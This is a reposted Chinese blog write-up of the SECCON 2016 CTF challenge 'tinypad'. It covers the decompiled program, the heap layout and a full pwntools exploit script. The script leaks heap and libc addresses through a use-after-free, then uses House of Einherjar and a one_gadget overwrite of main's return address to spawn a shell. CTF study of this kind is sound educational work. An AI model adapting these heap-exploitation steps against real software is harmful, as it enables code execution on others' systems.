我是靠谱客的博主 留胡子蜡烛,最近开发中收集的这篇文章主要介绍2016 Seccon——tinypad,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

64位程序  #House Of Einherjar  #use after free

程序逻辑


1 int __cdecl main(int argc, const char **argv, const char **envp)

2 {

3
__int64 v3; // rdx

4
__int64 v4; // rdx

5
__int64 v5; // rdx

6
__int64 v6; // rdx

7
size_t v7; // rax

8
signed int v8; // eax

9
signed __int64 v9; // rdx
 10
signed int v10; // eax
 11
signed __int64 v11; // rdx
 12
size_t v12; // rax
 13
__int64 v13; // rdx
 14
size_t v14; // rax
 15
__int64 v15; // rdx
 16
__int64 v16; // rdx
 17
int c; // [rsp+4h] [rbp-1Ch]
 18
int i; // [rsp+8h] [rbp-18h]
 19
int v20; // [rsp+Ch] [rbp-14h]
 20
int v21; // [rsp+10h] [rbp-10h]
 21
int v22; // [rsp+14h] [rbp-Ch]
 22
unsigned __int64 v23; // [rsp+18h] [rbp-8h]
 23
 24
v23 = __readfsqword(0x28u);
 25
v21 = 0;
 26
write_n(&unk_4019F0, 1LL, envp);
 27 
write_n(
 28
"
============================================================================n"
 29
"// _|_|_|_|_|
_|_|_|
_|
_|
_|
_|
_|_|_|
_|_|
_|_|_|
\\n"
 30
"||
_|
_|
_|_|
_|
_|
_|
_|
_|
_|
_|
_|
_|
||n"
 31
"||
_|
_|
_|
_|
_|
_|
_|_|_|
_|_|_|_|
_|
_|
||n"
 32
"||
_|
_|
_|
_|_|
_|
_|
_|
_|
_|
_|
||n"
 33
"\\
_|
_|_|_|
_|
_|
_|
_|
_|
_|
_|_|_|
//n"
 34
"
============================================================================n",
 35 
563LL,
 36 
v3);
 37
write_n(&unk_4019F0, 1LL, v4);
 38
do
 39 
{
 40
for ( i = 0; i <= 3; ++i )
 41 
{
 42
LOBYTE(c) = i + 49;
 43
writeln("+------------------------------------------------------------------------------+n", 81LL);
 44
write_n(" #
INDEX: ", 12LL, v5);
 45
writeln(&c, 1LL);
 46
write_n(" # CONTENT: ", 12LL, v6);
 47
if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
 48 
{
 49
v7 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
 50
writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v7);
 51 
}
 52
writeln(&unk_4019F0, 1LL);
 53 
}
 54
v20 = 0;
 55
v8 = getcmd();
 56
v21 = v8;
 57
if ( v8 == 68 )
 58 
{
 59
write_n("(INDEX)>>> ", 11LL, v9);
 60
v20 = read_int();
 61
if ( v20 > 0 && v20 <= 4 )
 62 
{
 63
if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
 64 
{
 65
free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
 66
*(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
 67
writeln("nDeleted.", 9LL);
 68 
}
 69
else
 70 
{
 71
writeln("Not used", 8LL);
 72 
}
 73 
}
 74
else
 75 
{
 76
writeln("Invalid index", 13LL);
 77 
}
 78 
}
 79
else if ( v8 > 68 )
 80 
{
 81
if ( v8 != 69 )
 82 
{
 83
if ( v8 == 81 )
 84
continue;
 85 LABEL_43:
 86
writeln("No such a command", 17LL);
 87
continue;
 88 
}
 89
write_n("(INDEX)>>> ", 11LL, v9);
 90
v20 = read_int();
 91
if ( v20 > 0 && v20 <= 4 )
 92 
{
 93
if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
 94 
{
 95
c = 48;
 96
strcpy(tinypad, *(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
 97
while ( toupper(c) != 89 )
 98 
{
 99
write_n("CONTENT: ", 9LL, v16);
100
v12 = strlen(tinypad);
101 
writeln(tinypad, v12);
102
write_n("(CONTENT)>>> ", 13LL, v13);
103
v14 = strlen(*(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
104 
read_until(tinypad, v14, 10LL);
105
writeln("Is it OK?", 9LL);
106
write_n("(Y/n)>>> ", 9LL, v15);
107
read_until(&c, 1LL, 10LL);
108 
}
109
strcpy(*(char **)&tinypad[16 * (v20 - 1 + 16LL) + 8], tinypad);
110
writeln("nEdited.", 8LL);
111 
}
112
else
113 
{
114
writeln("Not used", 8LL);
115 
}
116 
}
117
else
118 
{
119
writeln("Invalid index", 13LL);
120 
}
121 
}
122
else
123 
{
124
if ( v8 != 65 )
125
goto LABEL_43;
126
while ( v20 <= 3 )
127 
{
128
v9 = 16 * (v20 + 16LL);
129
if ( !*(_QWORD *)&tinypad[v9] )
130
break;
131
++v20;
132 
}
133
if ( v20 == 4 )
134 
{
135
writeln("No space is left.", 17LL);
136 
}
137
else
138 
{
139
v22 = -1;
140
write_n("(SIZE)>>> ", 10LL, v9);
141
v22 = read_int();
142
if ( v22 <= 0 )
143 
{
144
v10 = 1;
145 
}
146
else
147 
{
148
v10 = v22;
149
if ( (unsigned __int64)v22 > 0x100 )
150
v10 = 256;
151 
}
152
v22 = v10;
153
*(_QWORD *)&tinypad[16 * (v20 + 16LL)] = v10;
154
*(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8] = malloc(v22);
155
v11 = 16 * (v20 + 16LL);
156
if ( !*(_QWORD *)&tinypad[v11 + 8] )
157 
{
158
writerrln("[!] No memory is available.", 27LL);
159
exit(-1);
160 
}
161
write_n("(CONTENT)>>> ", 13LL, v11);
162
read_until(*(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8], v22, 10LL);
163
writeln("nAdded.", 7LL);
164 
}
165 
}
166 
}
167
while ( v21 != 81 );
168
return 0;
169 }

add操作后内存分布,最多申请0x100的内存

1 0x602040
<-tinypad
2 0x602140
size_idx1         <-tinypad+256
3 0x602148
ptr_idx1
4 0x602150
size_idx2
5 0x602158
ptr_idx2
6 0x602160
size_idx3
7 0x602168
ptr_idx3
8 0x602170
size_idx4
9 0x602178
ptr_idx4

edit操作时先判断相应idx的size是否为0,然后用strlen计算len,并读入len长度的新内容

新内容写入0x602040处,再strcpy到对应的ptr处

每次菜单前会输出每个ptr的内容,由于free后没有置NULL,所以可以用来泄漏地址

利用思路

 

  1. 利用删除时没有将指针置为 NULL 的 UAF 漏洞,泄漏堆的基地址
  2. 再次利用 UAF 漏洞泄漏 libc 的基地址。
  3. 利用 house of einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。当我们再次申请时,那么就可以控制 4 个 memo 的指针和内容了。
  4. 这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址,但是,由于当编辑时,程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0。所以我们直接覆盖,所以这里采用其他方法,即修改程序的 main 函数的返回地址为 one_gadget,之所以可以行得通,是因为返回地址往往是 7f 开头的,长度足够长,可以覆盖为 one_gadget。所以我们还是需要泄漏 main 函数的返回地址,由于 libc 中存储了 main 函数 environ 指针的地址,所以我们可以先泄露出 environ 的地址,然后在得知存储 main 函数的返回地址的地址。这里选取 environ 符号是因为 environ 符号在 libc 中会导出,而像 argc 和 argv 则不会导出,相对来说会比较麻烦一点。
  5. 最后修改 main 函数的返回地址为 one_gadget 地址获取 shell。

expolit

 

 1 from pwn import *
 2 sh=process('tinypad')
 3 elf=ELF('tinypad')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5 main_arena_offset=0x3c4b20
 6
 7 def add(size,content):
 8
sh.recvuntil('(CMD)>>> ')
 9
sh.sendline('a')
10
sh.recvuntil('(SIZE)>>> ')
11 
sh.sendline(str(size))
12
sh.recvuntil('(CONTENT)>>> ')
13 
sh.sendline(content)
14
15 def edit(idx,content):
16
sh.recvuntil('(CMD)>>> ')
17
sh.sendline('e')
18
sh.recvuntil('(INDEX)>>> ')
19 
sh.sendline(str(idx))
20
sh.recvuntil('(CONTENT)>>> ')
21 
sh.sendline(content)
22
sh.recvuntil('Is it OK?n')
23
sh.sendline('Y')
24
25 def delete(idx):
26
sh.recvuntil('(CMD)>>> ')
27
sh.sendline('d')
28
sh.recvuntil('(INDEX)>>> ')
29 
sh.sendline(str(idx))
30
31 #leak heap_base 
32 add(0x70,'a'*8)
#idx1
33 add(0x70,'b'*8)
#idx2
34 add(0x100,'c'*8)
#idx3 
35 delete(2)
36 delete(1)      #fastbin 0x70 idx1->idx2->NULL
idx1->fd=idx2
37 sh.recvuntil('# CONTENT: ')
38 data=sh.recvuntil('n',drop=True)
39 heap_base=u64(data.ljust(8,'x00'))-0x80
40 print 'heap_base: '+hex(heap_base)
41 #leak libc_base 
42 delete(3)      #now idx3 merge into top chunk , idx2 merge with idx1 , idx1->fd=unsorted_bin_adr      
43 unsorted_offset_arena=88
44 sh.recvuntil('# CONTENT: ')
45 data=sh.recvuntil('n',drop=True)
46 unsorted_bin_adr=u64(data.ljust(8,'x00'))
47 main_arena=unsorted_bin_adr-unsorted_offset_arena
48 libc_base=main_arena-main_arena_offset
49 print 'libc_base: '+hex(libc_base)
50
51 #house of einherjar
52 add(0x18,'a'*0x18)
#idx1   重用idx2的prev_size 可溢出覆盖
53 add(0x100,'b'*0xf8+'x11')
#idx2
54 #after overflow 0x111->0x100
55 #'x11' is next fake_chunk->size
56 add(0x100,'c'*0xf8)
#idx3
57 add(0x100,'d'*0xf8)
#idx4
58
59 #tinypad+0x20 -> fake_chunk
60 #*(tinypad+0x100+0x20)=next_chunk->prev_size=size_idx3=0x100
61 tinypad_adr=0x602040
62 fakechunk_adr=tinypad_adr+0x20
63 fakechunk_size=0x101
64 fakechunk=p64(0)+p64(fakechunk_size)+p64(fakechunk_adr)+p64(fakechunk_adr)
65 edit(3,'d'*0x20+fakechunk)
66
67 #overflow idx2->prev_size
idx2->size->inuse
68 diff=heap_base+0x20-fakechunk_adr
69 diff_strip=p64(diff).strip('')
70 number_of_zeros=len(p64(diff))-len(diff_strip)
71 for i in range(number_of_zeros+1):
72
data=diff_strip.rjust(0x18-i,'f')
73
edit(1,data)
74
75 delete(2)
#unlink make fake_chunk at tinypad+0x20 (0xf0+0x10)
76 sh.recvuntil('nDeleted.')
77 #make fake_chunk in unsorted bin 0xf0+0x10
78 #gdb.attach(sh)
79 edit(4,'d'*0x20+p64(0)+p64(0x101)+p64(main_arena+88)+p64(main_arena+88))  #pass unsorted bin check
80
81 one_gadget_adr=libc_base+0x45216
82 environ_pointer=libc_base+libc.symbols['__environ']
83 print 'one_gadget_adr: '+hex(one_gadget_adr)
84 print 'environ_pointer: '+hex(environ_pointer)
85
86 #leak environ_adr -> leak main_ret_adr
87 fake_pad='f'*(0x100-0x20-0x10)+'a'*8+p64(environ_pointer)+'a'*8+p64(0x602148)
88 add(0xf0,fake_pad) #idx2
89 #gdb.attach(sh)

90 #ptr_idx1=environ_pointer ptr_idx2=0x602148=&(ptr_idx1)
91 sh.recvuntil(' # CONTENT: ')
92 environ_adr=sh.recvuntil('n', drop=True).ljust(8, 'x00')
93 environ_adr=u64(environ_adr)
94 main_ret_adr=environ_adr-30*8
95 edit(2,p64(main_ret_adr))
96 edit(1,p64(one_gadget_adr))
97 sh.sendline('Q')
98 sh.interactive()

 

转载于:https://www.cnblogs.com/pfcode/p/10758275.html

最后

以上就是留胡子蜡烛为你收集整理的2016 Seccon——tinypad的全部内容,希望文章能够帮你解决2016 Seccon——tinypad所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(38)

评论列表共有 0 条评论

立即
投稿
返回
顶部